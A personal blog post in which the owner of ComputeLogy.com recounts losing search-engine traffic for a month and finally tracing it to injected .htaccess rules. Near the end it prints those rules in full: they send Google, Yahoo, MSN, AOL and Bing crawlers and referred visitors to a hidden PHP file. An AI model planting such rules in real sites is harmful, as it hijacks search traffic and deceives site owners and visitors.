This Code Blocked Search Engines From Indexing ComputLogy for One Month
It happened almost a month ago, I opened Computelogy.com admin panel and there was a big shock. The traffic from search engines was almost fell to zero from almost 6800 a day earlier. There was no traffic at all from Google, Yahoo, Bing, MSN or AOL at all. I did not understand why that happened. I am not an expert of PHP, HTML, CSS or any similar script-language. So, what was going on, why Computelogy.com is refusing search engines from indexing itself was very very difficult for me to understand. I took my first step to solve the problem.
I ran a scan if there is anything malicious hosted on ComputeLogy.com. I used Sucuri and VirusTotal scanners. There was nothing. Google Chrome and Mozilla Firefox were opening my website without any hesitation. I just could not understand what is going on. My website is clean, nothing bad is there, then what is blocking search engines. The day one was over. I did not have much time to do anything more about the problem. I postponed that for next day. Next day, I took my second step.
I started disabling installed plugins one by one to check which one is problematic. There was none. All the plugins were just fine. I checked .htaccess and I couldn’t find any problem there. I told you I am no expert in script-languages but I know nothing about PHP. So, if there could be anything wrong in .htaccess, I could never find. I checked it that maay beee (expressions!) there is something I can understand, but no. The day was over. Now was the time to do step 3 next day.
Next day, I thought to google the problem of blocking search engines from indexing ComputeLogy.com. All I could find is Robots.txt might be the problem. Only a few lines in Robots.txt what harm could do, I knew it then. But, still, there was no problem with Robots.txt file at all. Everything was fine with robots.txt.
Three days gone and the problem was still there. ComputeLogy.com was not being indexed by any search engines. The site traffic was less than 500 visitors per day. My head was spinning. Blogging is not my profession, it is just a hobby like a few others. I could let it go but why? I spent almost 10 years. How could I let this thingy waste my 10 years. I thought to give my efforts a break. I stopped looking for the solution. I did not even login for almost a month.
Yesterday, I logged in again to see if I can do something. May be I could solve my indexing problem. May be I will be able to find why search engines are not indexing ComputeLogy.com. May be I will find why ComputeLogy.com is stopping search engines from getting it indexed.
I looked at the site stats. I found that there is one search engine which is not blocked. That search engine still providing me traffic. ComputeLogy.com is still being indexed by that search engine. Yandex was not blocked. Why? Google, Bing, MSN, Yahoo are being blocked but Yandex.
Once I read that .htaccess can also be used for redirecting URLs. It just hit my mind yesterday. I opened .htaccess once again using FileZilla. I read each and every code line in .htaccess file. There was something suspicious. There was a block of code for redirection. And that block had words Google, Bing, MSN, Yahoo and AOL. Why that block had these words, I thought. These words made me hundred percent sure that that is the code I am looking for. That block of code is the problem. That block of code is the one should be gone forever. I should get rid of that code.
I deleted that code, checked if ComputeLogy.com is being indexed by search engines. Yes! now it was working just fine. Below is the code which I discovered in my .htaccess file. But, if any of you have some idea about the code, how it could end up there in .htaccess file, who could have done, please, inform me. A guess will be fine.
RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ – [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ leadership-inherent.php?$1 [L]
I will really appreciate your help solving this mystery of being infected by this code. Is it by some plugins, or by some hacker or by my hosting provider? I know, it is not me.
